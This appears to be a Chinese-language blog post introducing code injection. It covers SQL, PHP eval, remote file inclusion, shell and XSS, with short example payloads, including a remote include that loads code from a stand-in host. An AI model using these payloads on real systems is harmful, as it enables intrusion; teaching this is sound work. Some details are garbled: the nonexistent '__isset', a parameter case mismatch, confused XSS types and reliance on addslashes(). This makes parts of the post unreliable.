代码注入

2017-12-08 0 By admin

代码注入(Code injection)可被攻击者用来导入代码到某特定的计算机程序,以改变程序的运行进程或目的。代码注入攻击的结果可以是灾难性的。
例如说:代码注入可作为许多电脑蠕虫繁殖的温床。

案例
冲浪者在web站点的输入接口,提交js\sql\php\html等代码;如果网站开发者没有考虑到对输入信息的校验和转义,很可能危机到网站上的数据。

代码注入的用途

通过代码注入技术在黑或者破解系统上,以获取信息、提权、或者非法访问某系统是相当流行的。

恶意用途的代码注入可包括:
1、通过SQL注入随意修改数据库中的值。影响所及可从某网站外观损毁,到对敏感数据严重的破坏。
2、当用户拜访恶意网站时,通过网页浏览器或其插件的漏洞安全隐患,进行代码注入,以便安装流氓软件到用户机器上。
3、通过PHP或者ASP注入安装流氓软件或者运行恶意代码于服务器端。
4、于UNIX系统利用Shell注入安全隐患对setuid root二进制数据作修改,达成提权到root使用权限的目的。
5、于视窗系统利用Shell注入安全隐患对系统服务做手脚,达成提权到本地端系统使用权限的目的。
6、从网页浏览器利用HTML/脚本注入(跨网站脚本)进行连接窃取 / cookies窃取进而冒充他人,获取他人个人敏感数据。

避免代码注入

要避免代码注入的种种问题,得充分发挥输入输出处理保全,例如:
1、输入确认。
2、更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。
3、输入编码。
4、输出编码。
5、采用其他没有饱受代码注入漏洞困扰的编程实现,例如“参数化SQL查询” (“parameterized SQL queries” 又名 “prepared statements” 亦有时称 “bind variables”) 。

代码注入示例

SQL注入
web网站在密码栏注入: "password' OR '1'='1"

PHP注入:

1、动态赋值安全隐患 – Eval注入:
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

2、包含文件注入
<?php
$color = 'blue';
if (__isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>

调用:
?color=http://example/bad.php

shell注入
Shell注入又称命令行界面注入,它命名源于Unix Shell,不过可套用到大部分允许软件程序化地运行命令行接口的系统上。常见的Shell注入资源有system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口。

HTML注入/脚本注入
XSS指的是一种依靠用户输入到网页脚本,或者某些像代码行被置于输出HTML,而没有检查HTML代码或脚本的注入漏洞。

这种注入有两个基本型如下:
主动式 :这种类型的XSS漏洞比较不危险,因为用户输入被置于动态产生的网页。服务器端没有任何改变。
被动式 :这种类型比较危险,因为输入是写在静态网页上,故威胁是持续性的。